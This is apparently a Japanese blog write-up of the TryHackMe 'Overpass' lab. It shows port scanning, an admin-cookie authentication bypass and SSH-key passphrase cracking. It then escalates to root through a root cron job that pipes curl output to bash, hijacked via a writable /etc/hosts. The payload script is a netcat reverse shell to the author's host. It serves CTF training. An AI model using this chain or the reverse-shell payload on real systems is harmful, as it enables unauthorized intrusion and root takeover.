1
0

[WriteUp]Overpass - tryhackme

Posted at

はじめに

こちらの記事はtryhackmeのOverpassでのwriteup記事です。リンクは以下になります。
https://tryhackme.com/room/overpass

0.下準備

ターゲットサーバーを起動したときにもらった攻撃先のIPアドレスを、/etc/hosts に追記して target.thm に紐づけてあります。(途中で攻撃先サーバーのIPが変わってたりしますが同じです)

1.とりあえずnmap

とりあえずnmapで簡単にポートスキャンしてみると

$nmap -F target.thm 
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-18 01:52 JST
Nmap scan report for target.thm (10.10.17.23)
Host is up (0.25s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds

ざっと80番ポートと22番ポートが空いているのが分かりました。

2.80番ポートにアクセス

nmapで80番ポートが空いているのが分かったので、ブラウザでアクセスしてみると、どうやらパスワードの保存ソフトを配布しているWebサイトみたい。

image.png

実行可能形式のファイルとソースコードも一緒に配布されているのでソースコードの中を確認してみると、"Military Grade encryption" は ROT47 のことらしい…

(以下ソースコード一部抜粋)

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
	var result []string
	for i := range input[:len(input)] {
		j := int(input[i])
		if (j >= 33) && (j <= 126) {
			result = append(result, string(rune(33+((j+14)%94))))
		} else {
			result = append(result, string(input[i]))
		}
	}
	return strings.Join(result, "")
}

その他、データの保存は~/.overpassにあるとのこと。

3.gobusterする

他に特にめぼしいものが見つからないので、gobusterしてみる。

$ gobuster -u=http://target.thm:80/ -w=/home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://target.thm/
[+] Threads      : 10
[+] Wordlist     : /home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
=====================================================
/img (Status: 301)
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
=====================================================
=====================================================

先程見て回ってたときには見つからなかった/adminを発見しました。

4./adminにアクセス

/adminにアクセスしてみると、管理者のログインページにたどり着きました。

image.png

ひとまずログインフォームに関して調べてみると、/login.jsに詳しく記述されているのがわかります。

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

なにやら、usernameとpasswordを/api/loginにpostリクエストで投げて、ログインが成功すると、その時にもらえるSessionTokenという名前のCookieを付けて、/adminにアクセスし直すみたい。適当にSessionTokenのCookieを付けて/adminにアクセスしてみると、Cookieの管理が適当なようで、管理者権限のページに遷移しました。

image.png

ページを読んでみるとjamesに対して、sshの秘密鍵を用意したからこれを使えとのことと、パスワードがわからないときは自分で割り出してくれとのこと…

5.ssh private key のパスワードクラック

上で手に入れた秘密鍵をそのまま使ってsshに接続しようとするとパスワードを求められて、ログインができないので、以下の記事を参考にパスワードを割り出していきます。
https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/

johnはUbuntuのaptで入るものだとうまく動かないので、john jumboを使うと上手くいきます。
https://github.com/openwall/john

そこで割れたパスワードを使ってsshでログインを試すとログインできました。

$ ssh -i id_rsa james@target.thm

Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 17 20:55:10 UTC 2024

  System load:  0.0                Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.0.42
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 

ログインできたjamesのホームディレクトリに user.txt を発見しました。

6.権限昇格

ひとまず、sudoやcapability、suid、crontabなどを見てみます。jamesのパスワードに関しては、最初に入手した情報をもとに ~/.overpass を rot47 に通すと手に入りました。
一通り確認してみると、crontab に怪しい箇所を発見。

$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

毎分、root権限で overpass.thm/downloads/src/buildscript.sh をcurlしてそれをbashで実行しているみたい。
 overpass.thmがどこを読みに行っているかを確認するために/etc/hostsを確認しにいきます。

$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

自身の80番ポートにアクセスしているのがわかります。それに加えて、/etc/hostsはjamesでも書き込みの権限があるようです。

$ ls -l /etc/hosts 
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

なので、overpass.thmの紐付け先を自分のローカル環境のIPに書き換えることで、好きなシェルスクリプトがroot権限で実行ができそうです。jamesの環境にはvimが入っているようなので、それを使って/etc/hostsを書き換えます。(xx.xx.xx.xxは私のローカル環境のIP)

xx.xx.xx.xx overpass.thm

ローカル環境に ./downloads/src/buildscript.sh を以下のように作成して、

#!/bin/bash

mkfifo /tmp/f
nc xx.xx.xx.xx 7777 < /tmp/f | /bin/bash > /tmp/f

80番ポートでhttpサーバーを開いておいて、

sudo python3 -m http.server 80

同時に、リバースシェルをキャッチする準備をしておきます。

socat tcp-l:7777 - 

そうして少し待つと、root権限のリバースシェルが奪取でき、root.txtを読みにいけました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0